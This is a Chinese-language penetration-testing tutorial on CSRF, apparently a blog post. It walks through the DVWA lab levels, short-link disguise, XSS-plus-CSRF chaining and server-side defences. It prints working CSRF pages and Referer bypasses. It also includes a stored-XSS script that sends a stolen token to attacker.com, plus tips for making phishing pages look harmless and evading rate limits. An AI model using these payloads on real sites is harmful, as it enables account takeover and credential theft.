1. CSRF攻击的本质这个漏洞为什么总被低估我在做web渗透测试时发现一个现象很多开发团队对SQL注入、XSS漏洞如临大敌一提到CSRF跨站请求伪造却不以为然。原因很简单——CSRF不像SQL注入那样能直接拖库也不像XSS那样能弹个alert证明危害。它是借刀杀人攻击者不直接操作受害者数据而是利用受害者的身份去执行非法操作。这个特性导致CSRF的演示效果天生就弱日报里写存在CSRF漏洞甲方往往一脸茫然。但真正经历过被CSRF打穿业务的人都知道这个看起来弱的漏洞配合上短链接和XSS组合使用时实际危害完全不亚于任意文件上传。任何涉及资金转账、密码修改、权限变更的业务场景只要存在CSRF漏洞攻击者就可以在受害者毫无感知的情况下以受害者身份完成关键操作。CSRF本质上是一种信任关系的滥用服务器信任了浏览器的请求来源攻击者利用这份信任在受害者不知情的情况下冒充受害者发起请求。这篇文章我想从一个完整实战案例入手把CSRF从原理、绕过到组合利用的完整链路拆开讲。涉及的内容会包括DVWA靶场的三个CSRF级别实操、短链接如何在攻击中发挥作用以及如何和XSS漏洞配合打出组合拳。整个过程的思路和代码细节我都会写清楚既适合刚入门想理解CSRF原理的新手也适合需要实战思路参考的渗透测试人员。CSRF的攻击链路其实很短伪造一个请求诱导受害者触发服务器验证不严操作被执行。链路越短对网络条件的要求就越简单攻击者要做的就是让受害者的浏览器发出那个合法的请求。而防护方要做的事恰恰相反尽可能增加请求发起的合法性验证成本。理解这条攻防主线后面所有的绕过技巧都是在这条主线上做文章。1.1 一次CSRF攻击的最小化流程拆解我们先看最基础的一个CSRF攻击请求长什么样。假设目标站点有个修改用户邮箱的功能请求格式如下GET /user/update_email?emailattackerevil.com HTTP/1.1 Host: target.com Cookie: sessionidxxxx正常用户访问这个URL自己的邮箱就会被改成攻击者的邮箱。如果站点对请求来源不加校验攻击者要做的就极其简单——把这个URL做成受害者会点击的链接甚至用img标签让浏览器自动加载img srchttp://target.com/user/update_email?emailattackerevil.com浏览器请求img资源时会自动携带目标域名下的Cookie服务器看到合法的session再结合参数执行操作。整个过程中受害者什么都没做但他的邮箱已经被换掉了。等攻击者利用找回密码功能邮箱里的重置链接就会发到攻击者的邮箱。这个过程有三个核心条件目标操作没有安全的验证机制比如无Token请求方法能被浏览器自动发起GET或自动提交的表单请求会携带身份凭证Cookie或自动认证。三个条件全部满足CSRF攻击就当场成立。我在实战中见过的最典型反面案例是某个管理后台的删除用户接口开发人员图省事用了GET请求Token校验还只在前端脚本里做——直接把Token作为URL参数拼进去。攻击者用浏览器开发者工具把Token从历史记录里翻出来就能构造链接这种防线约等于没有。1.2 攻击者能利用CSRF做什么从改密码到供应链风险CSRF的利用面比很多人想的宽泛得多。修改密码、绑定手机号、转账交易、修改收货地址、更改云平台服务器配置这些都可以是CSRF的猎杀目标。但更值得关注的是CSRF在业务链中的跳板作用。举一个我实际测试中遇到的场景某个SaaS平台的API网关配置功能存在CSRF漏洞管理员登录状态下点击恶意链接攻击者就能修改网关转发规则把后续的请求流量引导到自己的服务器。这个操作本身看起来只是改一个配置但造成的后果是平台内所有租户的流量都被嗅探危害半径瞬间从单个账号扩散到整个平台。所以评估CSRF漏洞危害时不要只看这次能改什么要看这个改动之后会连锁影响什么。这也解释了为什么现在主流的SRC平台对核心业务场景的CSRF漏洞定级普遍在中危以上涉及资金或权限的就是高危。做渗透测试报告时把这一步的分析写清楚客户才能直观理解CSRF的真实杀伤力。2. 实战靶场选型为什么我选DVWA和CTFshow练CSRFCSRF实战有两个常用靶场DVWA算是经典入门款每个漏洞级别逐级递增环境稳定适合系统理解CSRF在不同防护强度下的绕过方式CTFshow则是比赛题目场景更贴近真实攻防中的限制条件适合练手感。我建议两个都过一遍一个用来打基础一个用来练应变。DVWA全称Damn Vulnerable Web Application是一个非常经典的PHP环境漏洞靶场内置了SQL注入、XSS、CSRF、文件上传等常见Web漏洞。它的CSRF模块虽然场景简单但Low、Medium、High三个级别恰好覆盖了三种不同的防御强度。CTFshow则是国内一个CTF刷题平台其中的CSRF类题目往往会在标准场景上叠加额外限制比如请求方式过滤、Referer检测逻辑有缺陷、Token校验位置奇怪等。这些题目更接近真实渗透测试中有WAF或者半吊子防护的情况。选靶场练CSRF有个小技巧不要只看DVWA的三个级别要把每个级别的防护逻辑单独拆出来理解。Low级别无防护对应的是最早期没有任何反CSRF机制的Web应用Medium级别检查了Referer对应的是有基础安全意识但实现有缺陷的团队High级别使用Token校验对应的是现在多数现代Web框架的默认防护。把三种防护强度吃透遇到真实目标时你心里就有了参照系。2.1 DVWA实战环境搭建注意事项搭建DVWA的过程本身也是渗透测试基本功的一部分这里列几个容易踩坑的点。环境准备上我推荐用PHPStudy或Docker来跑比手动配置LNMP省心很多。数据库选的MySQL 5.7以上即可PHP版本建议7.x避免用PHP 8跑老版本DVWA时出现函数兼容报错。主要操作步骤分五步把DVWA源码放到Web根目录访问DVWA入口页面此时会提示没有配置文件把config/config.inc.php.dist复制为config.inc.php检查配置文件里的数据库账号密码是否正确默认是root空密码或root/pssw0rd根据自己的环境调整点击页面底部的 Create/Reset Database 按钮初始化数据库这个按钮会创建dvwa库和默认用户登录默认账号admin密码password登录后到 DVWA Security 页面设置安全级别把安全级别设成相应的难度进入CSRF模块开始测试。搭建过程中的确认点DVWA能够正常登录、CSRF模块页面能显示受害者密码修改表单、Burp Suite能正常截获DVWA的请求。这三个条件成立说明环境就绪。我个人在用Docker跑DVWA时有个体会Docker一键脚本启动确实快但有些版本的镜像里没有开启MySQL远程权限导致后面用Burp加代理调试时偶尔会有异常的连接中断。遇到这种问题别慌先检查容器日志里MySQL的启动状态然后确认一下端口映射。如果只是想专心练CSRF逻辑直接用PHPStudy本地跑反而最省事。2.2 为什么选这三个级别的DVWA场景DVWA的CSRF模块做的是修改管理员密码这个场景这个选择很有教学意义。密码修改属于敏感操作攻击者伪造成功后能直接获取受害者账号控制权危害直观。同时这个场景权限要求低上手就能测。我在不同环境里练习时发现把三个安全级别连起来看其实就是一个进阶路径Low级别完全没有任何防护直接构造一个改密码的请求链接或表单受害者点击即中招这个级别目的是让你理解CSRF的攻击原理Medium级别在服务端校验了请求中的Referer头正常来自DVWA站内的请求才会被接受这个级别目的是让你学习如何识别和绕过Referer校验逻辑High级别引入了不可预测的user_token每次请求都要携带正确的token才能执行密码修改这个级别目的是让你理解最基础的反CSRF机制以及如何在有其他漏洞如XSS配合时打破Token保护。这三个级别是层层递进的理解每一层防护的逻辑缺陷才能理解绕过为什么成立。我在下一章会用完整的实战记录来拆解每一层。2.3 CTFshow题目的参考价值从标准靶场到近似实战DVWA是教科书CTFshow的题则更接近考卷。DVWA的每个漏洞点都是故意裸露的没有任何干扰项适合建立直觉。但真实渗透测试中的CSRF漏洞往往藏在复杂的业务逻辑里参数名陌生、请求方法多样、可能会有前置条件校验。CTFshow平台上的XSS和CSRF题有不少会混合考查比如在反射型XSS的题目里构造特定payload来触发后端的CSRF保护逻辑在CSRF的题目里结合短链接让payload看起来无害。这种跨漏洞的复合出题风格本质上还是在模拟真实攻击链中的一环扣一环。我在CTFshow上刷CSRF题最直接的收获是学会了看服务端到底校验的是什么。有的题校验的是Referer的域名后缀有的题校验的是Referer中是否包含某字符串有的题校验的是Token是否存在于请求体中但参数名可以任意替换。每一个看起来差不多的CSRF漏洞防御代码的写法差别很大对应的绕过手法也完全不同。这种细微差距在DVWA里体现得不够充分但在CTFshow的高难度题目里能练到。3. CSRF的三种环境逐级拆解从改密码到高频绕过DVWA的CSRF模块界面很简单一个输入框让你输入新密码并确认提交。但就这一个简单的功能在三个安全级别下暴露出的攻防逻辑完全不同。下面我按级别逐个还原测试过程和绕过思路。3.1 Low级别无防护状态下的Session ID利用测试过程还原在DVWA的CSRF模块输入新密码hacker_test并提交用Burp Suite截获这个请求看到完整的GET请求如下GET /dvwa/vulnerabilities/csrf/?password_newhacker_testpassword_confhacker_testChangeChange HTTP/1.1 Host: 127.0.0.1 Cookie: PHPSESSIDxxxxxx查看响应内容发现服务器直接执行密码修改没有任何额外校验。漏洞利用因为请求本身就是GET浏览器自动加载图片就能触发所以我构造了这样一个钓鱼页面html body h1精选壁纸每日更新点击查看/h1 img srchttp://127.0.0.1/dvwa/vulnerabilities/csrf/?password_newattacker_pwdpassword_confattacker_pwdChangeChange width0 height0 /body /html把这个页面发给受害者受害者只要打开页面浏览器就会自动请求那个图片地址携带DVWA的Cookie密码就被修改。如果目标请求是POST也可以通过自动提交表单实现效果相同。下面这个就是我在一些只有POST接口的靶场场景里用的表单版本form actionhttp://target.com/user/update_password methodPOST input typehidden namenew_password valueattacker_pwd input typehidden nameconfirm_password valueattacker_pwd /form scriptdocument.forms[0].submit();/script实现原理是页面加载后自动提交表单浏览器依然会带Cookie。这个利用方式不依赖JavaScript即使目标网站设置了禁用脚本也拦不住表单提交所以CSRF才会被称为沉睡的巨人。3.2 Medium级别Referer校验的两个致命误判防护逻辑分析Medium级别的服务端代码里加了这样一段逻辑PHP环境常见写法if( isset( $_GET[ Change ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ REMOTE_ADDR ], $_SERVER[ HTTP_REFERER ] ) ! false ) { // ... } }DVWA Medium级别代码的检查逻辑在不同版本里有些差异核心思路是校验HTTP请求头中的Referer字段是否包含目标站点的域名。由于HTTP_REFERER可以通过某些工具直接控制这个校验的实际强度相当有限。这里有个细节值得注意REMOTE_ADDR是客户端的IP而HTTP_REFERER是来源URL。有的版本代码是检测HTTP_REFERER中是否包含HTTP_HOST这两种写法虽然实现细节不同但核心思路一样——判断请求来源是否为本站。绕过方式拆解第一个绕过思路是把攻击页面放在目标站点的同域路径下。如果目标站点允许用户上传HTML或SVG文件我们在同域上传一个恶意HTML文件这个文件发出的请求Referer就会带有目标域名校验自然通过。第二个绕过思路是直接控制Referer。在本地测试时我用了Burp Suite的Repeater功能把请求中的Referer头手动改成目标域名相关地址请求就直接通过了。在真实攻击场景中如果受害者用的是Chrome浏览器想通过常规JS手段伪造Referer是很困难的因为浏览器安全策略牢牢控制着Referer的生成逻辑——所以这个招式更适用于短链接平台的Referer策略存在漏洞的场景我会在短链接章节里细说。第三个思路是寻找协议或逻辑上的等价匹配比如在Referer里添加http://127.0.0.1/dvwa/vulnerabilities/csrf/作为路径前缀再配合某些Nginx配置对.php后缀请求的处理差异实践中能否成功完全取决于服务端的校验实现。最扎实的判断标准只有一个打开Burp Suite直接修改Referer观察响应的变化。这个级别的实战心得Medium级别的代码看起来检查了但实际防御效果取决于校验的实现逻辑是否严格。插件代码里用stripos做字符串匹配时如果只检查域名127.0.0.1是否包含在Referer中攻击者只要在Referer里加上http://127.0.0.1.evil.com就能绕过。因为stripos会找子串它不会判断域名末尾边界——这个逻辑失误在真实系统里非常常见TypeScript和Java代码里也时有出现。还有一个经常被忽略的细节很多Web应用对Referer为空的请求是放行的。浏览器地址栏直接输入URL访问、某些隐私模式下发起的请求、部分跳转场景Referer都可能为空。服务端如果只在Referer不为空时校验那攻击者可以用no-referrer策略的短链接页面来发起请求绕过成功率很高。3.3 High级别Token防护与非同源请求的对抗防护逻辑分析High级别的服务端代码里加入了不可预测的user_token$token $_SESSION[ session_token ]; // 检查请求参数中的 token 是否和 session 中存储的一致 if( $_GET[ user_token ] $token ) { // 允许修改密码 }Token在用户访问表单时由服务器生成存在Session中提交请求时必须携带匹配的Token。这种方案是目前很常见的反CSRF设计Token随机性足够强时攻击者无法预测有效值。绕过方式拆解High级别直接伪造请求行不通了因为攻击者不知道受害者的当前Token。但绕过思路有二。思路一是利用同源下的XSS漏洞去读取Token。DVWA里就有存储型XSS模块我在High级别CSRF的同一浏览器会话中先通过XSS注入脚本读取CSRF表单里的token值再携带这个token构造攻击请求。这个思路我在后面的组合攻击章节会完整演示。思路二是寻找Token校验的时序问题。有的系统在用户提交请求时更新Token但校验逻辑先于更新逻辑执行这会导致一个请求窗口期多次提交相同Token都能通过。还有的系统只对登录、支付等部分接口启用Token校验而密码修改接口的Token参数名相同但校验逻辑被某一个接口漏掉了——这本质上就是开发实现的一致性缺陷。DVWA High级别的Token保护本身是严肃的直接单一请求绕过不了。但在真实渗透测试中Target站点不可能所有接口都完美实现Token机制审计的重点经常是哪些接口漏了校验哪些参数可控且被带入校验逻辑Token有没有在URL参数、日志、前端代码里泄露3.4 三个级别的防护差距开发视角的反思把三个级别放在一起看Low到High的变化就是反CSRF机制的演进过程从完全不设防到引入来源校验再到引入不可预测Token。但值得注意的是级别越高对Token安全性的依赖越大一旦Token可预测、可泄露或校验逻辑可绕过整个防御体系就崩了。开发团队经常犯的另一个错误是只在修改密码、绑定手机号这类核心操作里加了Token却忽略了头像上传、资料编辑、收货地址管理等看起来不那么重要的接口。攻击链往往是绕过核心防护后通过边缘接口逐步渗透到核心数据。所以在做渗透测试时我会把CSRF测试的重点放在改权限、改配置、改绑定、改金额这四类接口上这些才是真正的价值所在。4. 短链接的隐蔽性设计让钓鱼链接活得更久CSRF攻击的最后一公里是如何诱导受害者点击短链接在这里扮演的角色很关键。我见过不少攻击场景本来构造得很完整结果因为直接发了个超长URL受害者一眼看出不是正常业务地址攻击直接泡汤。短链接的作用就是压缩信息、隐藏目标地址让攻击链接看起来更接近正常业务消息。4.1 短链接在CSRF攻击中的三个价值隐藏真实域名。攻击URL如果直接暴露目标站地址安全意识高的受害者或聊天软件的安全检测机制都可能直接拦截。经过短链接跳转后一眼看到的是xxx.cn/Ab3Cd这样的表面地址。缩短请求构造的可疑痕迹。一个CSRF攻击链接往往是这样的http://target.com/user/update_password?new_passwordevil_pwdconfirm_passwordevil_pwd这个链接如果原样发到群聊里就是在明示我是恶意链接。但经过短链再跳转聊天里看到的只是几个字符长度。字数越短用户的戒心越低检测系统的特征匹配难度也越高。配合Referer策略进行跳板利用。某些短链接服务在跳转时保留了原始来源的Referer逻辑可以让最终发起请求的页面的Referer变得合法。短链本身是302跳转浏览器在跳转过程中会携带上一跳的Referer信息具体携带与否取决于服务端的跳转实现和rel属性设置。我在测试一些旧版短链服务时发现它生成的跳转页面没加no-referrer限制链路里的Referer可以被精确控制。把这个特性和目标站点的Referer校验结合起来就能实现前面说的Referer绕过的自动化版本。但要注意不同短链接服务的安全策略差异极大。有些平台会校验目标URL的域名屏蔽明显恶意的链接有些平台加了relnoreferrer noopener专门切断了Referer传递。所以在选择短链接服务用于测试时要先实测它的跳转行为不要盲选。4.2 短链接与CSRF组合的完整利用链从伪装到触发我在实战测试中常用的一种短链CSRF组合利用思路把攻击页面部署在一个可控的静态服务器上页面内放自动提交的表单或者自动加载的img标签目标地址指向靶站存在CSRF的接口生成短链接短链接指向这个攻击页面利用聊天工具或钓鱼页面的表达技巧诱导受害者点击短链点击短链后浏览器跟随302跳到攻击页面页面自动发起CSRF请求携带受害者的Cookie完成攻击。这个链路的两个关键点是攻击页面的触发要自动化短链接的跳转要保持用户的无感知。如果攻击页面加载后弹了个错误提示或者跳转了个空白页受害者可能立刻起疑所以要尽量把攻击页面做的和正常内容一样比如伪装成一个活动落地页页面正常展示内容后台悄悄发请求。4.3 短链接场景的审查与绕过思路审查短链接安全时我会重点看三个点跳转时是否携带Referer、是否能直接伪造302 Location为任意URL、生成短链的接口是否有频率限制和URL黑名单。如果一个短链接服务这三个点都有问题那它就是CSRF攻击链路上的天然帮凶——攻击者可以借助它无限生成指向任意URL的链接且Referer可信度较高。在做防御方案时我给某个业务团队的建议是在邮件和聊天消息防伪检测层面对短链接统一执行先展开再审核策略在服务端接口层面不要信任任何形式的Referer全部启用Token校验。这两条同时落地短链接的隐身效果就被完全消除了。5. CSRFXSS的组合拳攻击链升级的实战演示CSRF和XSS单看都有局限性CSRF能借受害者身份操作但无法直接读取响应内容XSS能窃取信息但往往还需要社工配合才能触发关键操作。组合在一起的时候效果是互补的。5.1 组合攻击的逻辑为什么单个漏洞打不出这个效果纯粹依赖CSRF时攻击者无法读取服务器的响应结果。比如修改邮箱这个操作攻击者知道自己把邮箱改成了什么但如果目标是内网系统无法确认操作是否执行成功无法确认当前Token是什么。而XSS提供了在受害者浏览器内执行任意脚本的能力这恰好补足了CSRF的盲区。通过XSS脚本攻击者可以实时读取页面上的Token可以动态构造请求可以在操作后把响应内容传回自己服务器。XSS负责看得见CSRF负责做得到两条腿一起走攻击链的完整度立刻提升。这个组合的价值在真实渗透测试中很常见目标系统虽然用Token保护了关键接口但它有一个XSS漏洞可以让攻击者拿到当前页面的Token。攻击者先利用XSS读取Token再利用CSRF携带合法Token执行敏感操作。这就是大家经常听到的利用XSS绕过CSRF Token防护的标准姿势。5.2 DVWA实战演示存储型XSS High级别CSRF组合绕过我在DVWA上完整跑过一次这条攻击链现在把过程复现出来。第一步在存储型XSS模块注入脚本DVWA的XSS Storage模块是一个留言板我提交了下面这条留言script var token document.querySelector(input[nameuser_token]).value; var img new Image(); img.src http://attacker.com/collect?token encodeURIComponent(token); document.body.appendChild(img); /script这条脚本的关键在于它读取CSRF页面表单里的Token值然后通过图片请求把Token传给攻击者服务器。XSS和CSRF页面的同源关系让脚本可以直接访问到Token输入框。第二步在攻击者服务器上收集Token用Netcat简单起一个监听就能看到效果nc -lvnp 8080受害者访问被注入XSS的留言板页面时攻击者服务器收到类似请求GET /collect?tokenabc123def456 HTTP/1.1 Host: attacker.comToken拿到手CSRF的不可预测防线就破了。第三步用收集到的Token构造CSRF攻击请求拿到的Token拼进攻击链接http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_newhacked_pwdpassword_confhacked_pwduser_tokenabc123def456ChangeChange把这个链接放到攻击页面里诱导受害者点击或自动触发。由于Token是实时从当前会话中偷来的请求校验直接通过密码修改成功。这个演示的精髓在于XSS的作用不是直接改密码而是绕过CSRF的Token防护。Token是Session维度的只要XSS能在受害者浏览器上下文执行就能拿到当前会话的合法Token。这也是为什么修复CSRF不能只加Token——如果同源存在XSS再强壮的Token也会被用上下文内读取的方式绕过。5.3 组合攻击的其他玩法从窃取信息到会话固定上面这个案例只是组合攻击的一个切入点。结合我在CTFshow上刷题的经验还有几种常见的组合思路值得了解窃取敏感响应内容。有些操作执行后页面会显示操作结果或返回关键信息如订单号、验证码、临时口令。用XSS把这个信息传出去攻击者就能拿到本来看不到的响应内容。在受害者的浏览器中执行完整的业务操作链。比如先通过XSS读取Token再自动发起更改邮箱请求同时把受害者重定向到登录页面让他重新登录——攻击者可以用新邮箱发起找回密码完成账号接管。整个过程受害者只感觉好像被强制下线了一次。配合会话固定Session Fixation。如果目标系统存在会话固定漏洞攻击者先给受害者种一个已知的Session ID再通过CSRF执行敏感操作操作记录就和受害者的身份绑定在一起嫁祸效果更隐蔽。组合攻击的判断标准不是能不能弹个框而是能不能在受害者的浏览器里完成一条完整的高权限操作链路。每次拿到一个XSS漏洞时我都会习惯性地问自己这个XSS能帮我拿到哪些CSRF Token能绕过哪些Referer校验能不能让原本需要人工点击的CSRF payload自动化执行把这些问题想清楚组合攻击的形态就自然出来了。5.4 组合攻击中的防御盲区防御方在对CSRF和XSS做漏洞修复时常见的盲区是按漏洞类型而不是业务链路来排优先级。比如XSS漏洞修了A接口但没修B接口CSRF Token加了C页面但没加D页面攻击者只要找到链路里最薄弱的那个环节整条攻击链依然能打通。我之前的经验是做安全评审时按账号类链路权限类链路资金类链路来梳理而不是按XSS清单CSRF清单来查。每一条关键链路全部走通一遍确认每一步都不可绕过才算真正安全。6. 防御端视角怎么让CSRF攻击彻底失效做了这么多年渗透测试我最大的感慨是CSRF的防御方案早就是标准答案了但真正落地到每一个项目里的少之又少。做防御不能只靠一种手段要在传输层、业务层、前端层等多个层面同时加锁。6.1 Token机制的落地细节从生成到校验的完整闭环反CSRF Token的落地不只是加一个隐藏字段这么简单。一个完整的Token机制至少要覆盖四个环节生成环节Token必须是高强度的随机数建议用random_bytes()或openssl_random_pseudo_bytes()生成长度不低于32字节不能使用时间戳、用户ID、递增数字这类可预测数据存储环节Token绑定Session服务端校验时比较Session中的值与请求参数中的值是否一致不要存到Cookie里否则CSRF攻击者在拿不到Token值的情况下可能会反向尝试从Cookie提取校验环节敏感操作必须在服务端校验Token不能只在前端脚本里做检查校验失败的请求直接拒绝不能有任何降级逻辑更新环节登录、权限变更等关键时刻要轮换Token每次请求是否更新取决于业务设计但要确保旧Token不能长期有效。这块我实际见过太多返工有的团队把Token放在URL参数里导致Referer泄漏时Token跟着泄漏有的团队所有接口共享一个Token攻击者拿到任意接口的Token就能打全部接口还有的团队Token校验不通过时返回200状态码但业务不执行导致WAF和日志系统都感知不到攻击尝试。6.2 SameSite Cookie属性被低估的默认防线现在主流的浏览器都支持SameSite属性这是我从防御角度强烈建议优先开启的一项配置。SameSite有三个值Strict完全禁止跨站携带Cookie防护最强但对用户体验影响比较大尤其是从外部链接进入站点时会丢失登录态Lax允许部分安全场景携带Cookie比如用户从外部链接跳转到站点时顶层导航请求会带上Cookie。这是当前浏览器的默认值对大多数业务是较好的平衡None允许所有跨站请求携带Cookie需要同时设置Secure属性。SameSiteLax目前能拦下绝大部分自动发起的CSRF攻击比如img标签自动加载、表单自动提交因为这类请求都不属于顶层导航安全场景。但要注意Lax并不能防御所有CSRF攻击比如 GET 请求方式配合顶层导航跳转的场景仍然可能绕过。我在实际项目中给研发团队的建议是支付、改密、权限类接口的Cookie强制设置SameSiteStrict普通业务保持Lax用一层默认防线兜底再用Token做纵深防御。6.3 请求方法规范和业务校验加固除了Token和Cookie属性还有几个基础但容易被忽略的点限制请求方法。只允许POST或PUT执行敏感操作且校验请求参数里的_method或Content-Type是否是预期的值。有些框架支持在POST请求体里传_methodDELETE如果服务端没处理好攻击者用GET请求也能触发删除逻辑。二次身份确认。对于修改密码、解绑手机号、大额转账这类超敏感操作强制要求用户输入当前密码、验证码或进行二次认证。短信验证码类的二次校验对CSRF是天然免疫的因为Token不可能被自动带过去。重要的校验动作不能静默失败。很多系统的CSRF Token校验失败后只是不执行操作返回正常页面导致运维和监控完全无感知。建议在Token校验失败时记日志、告警并把来源IP、Referer、User-Agent等信息一并记录。攻击者的扫描试探最终一定要在日志里留下痕迹这才算完整的防御闭环。6.4 开发框架自带的安全机制用法现在主流框架都已内置反CSRF机制但实际项目里经常见到有机制、未启用的尴尬情况。Spring Security里通过csrf()方法配置默认情况下POST、PUT、DELETE等会检查CSRF Token如果项目里有跨域需求同时又要保持安全不能直接关闭csrf而应该配合跨域配置精确放行。我在看一些Spring Boot项目时发现很多开发者为了调试方便直接调用了csrf().disable()一旦上线就埋了雷。Django的CsrfViewMiddleware也是默认启用的配合模板标签{% csrf_token %}使用即可但前后端分离的项目里需要单独配置Cookie中的Token获取方式和请求头传递方式这部分很容易配错。PHP系框架比如Laravel的VerifyCsrfToken中间件默认保护所有POST路由但except数组里的例外路由一定要慎重审查。开发人员在给回调接口、webhook接口做免校验时经常会一个手滑把内部管理接口也加了进去——我实际检查过的项目里就有把用户更换头像的接口放进白名单的案例。7. 答疑环节CSRF实战中的常见问题最后把我在教学和项目中遇到的常见问题集中回答一下这些问题每个都是我实际踩过坑或者被人反复问过的。7.1 为什么我的CSRF攻击payload请求不出来可能的原因有几种浏览器拦截了第三方Cookie现代浏览器越来越多地阻止跨站请求携带Cookie目标接口要求自定义请求头比如X-Requested-With: XMLHttpRequest或者目标接口的Token校验没有走到预期分支。排查路径是先用Burp Suite手动调一下确认请求本身能被接受再看Cookie和请求头是否符合目标站点的要求。7.2 DVWA的Medium级别XSS怎么绕过这个问题其实问的是DVWA Medium级别的XSS绕过思路常见技巧是利用大小写混写、双写关键字、编码混淆等方式绕过简单的关键字过滤。这个练习的价值在于理解WAF和过滤器的工作方式但要注意这类技巧在真实场景中的边界取决于目标过滤器的实现严谨度不要盲目套用。7.3 CSRF攻击有频率限制吗很多自带WAF或有安全加固的系统会给敏感接口加频率限制短时间大量请求会被封IP。因此实战中的CSRF攻击往往会在攻击页面加一个延迟触发机制比如页面加载5秒后再发起请求或者在用户交互后再发起请求让触发时间接近人工点击的分布规律。这个细节在自动化构造工具里经常被忽略。7.4 XSS平台有和CSRF联动的模板吗有。比较成熟的XSS平台比如蓝莲花XSS平台、自建的BeEF都支持在获取到XSS执行环境后自动向其他接口发起请求。BeEF里可以直接绑定CSRF攻击的URL到攻击模块里当目标浏览器被钩住时一键触发。建议团队在自建XSS平台时把CSRF利用代码模块化方便不同项目复用。7.5 做渗透测试时怎么快速判断一个接口有没有CSRF我的快速判断流程是先看请求是否属于敏感操作、再看请求方法是否是非安全方法、再看是否有自定义请求头要求、再看是否有Token/验证码/二次认证、最后看Cookie是否是SameSiteLax或更低。如果前几步基本是是而后面几步基本都是否CSRF漏洞大概率成立。这个流程可以用一张表辅助判断检查项安全参考值风险值请求方法POST/PUT/DELETEGETCSRF Token服务端校验无Token抓取或前端校验二次认证短信/密码/OTP无Cookie SameSiteStrict/LaxNone或未设置Referer校验严格且无逻辑漏洞无或可绕过7.6 被蓝莲花XSS平台这类工具钩住的浏览器有办法自救吗如果怀疑自己的浏览器被XSS攻击钩住正确做法是立即清除该站点的Cookie和本地存储关闭受害标签页然后从干净浏览器重新登录并修改密码。如果是在企业内网环境还要及时上报安全团队因为被XSS钩住的浏览器可能已经被当成了内网跳板。不要第一时间点退出登录或关闭浏览器就算了因为部分XSS payload会持续尝试从外联服务器拉取新代码。8. 最后再分享一点实战体会写到这里关于CSRF的实战思路基本都覆盖了。回看整个测试过程我个人最深的体会是CSRF漏洞的低危感是假象真正把它放到业务链路里看它经常是整个攻击链里最沉默但最致命的一环。单独看一个改密码接口的CSRF可能只能改一个密码但如果这个接口变成改管理员密码改支付账号改服务器SSH密钥,那危害级别就完全不同了。所以做渗透测试时我给自己定的一个习惯是每个CSRF发现都至少回答三个问题——影响哪个账号维度、能撬动哪条业务链、和哪个其他漏洞能配合到一块。这三个问题想明白报告里的漏洞危害描述才可能写到位也才可能推动研发团队真正下决心修。安全永远是一道攻防题攻击方在想怎么组合漏洞防守方就要思考怎么切断链条。CSRF的防御手段并不复杂难的是每个团队都愿意在业务快速迭代时为一个看起来不太危险的漏洞花时间做完整的防护设计。这也是一名渗透测试人员存在的真正意义。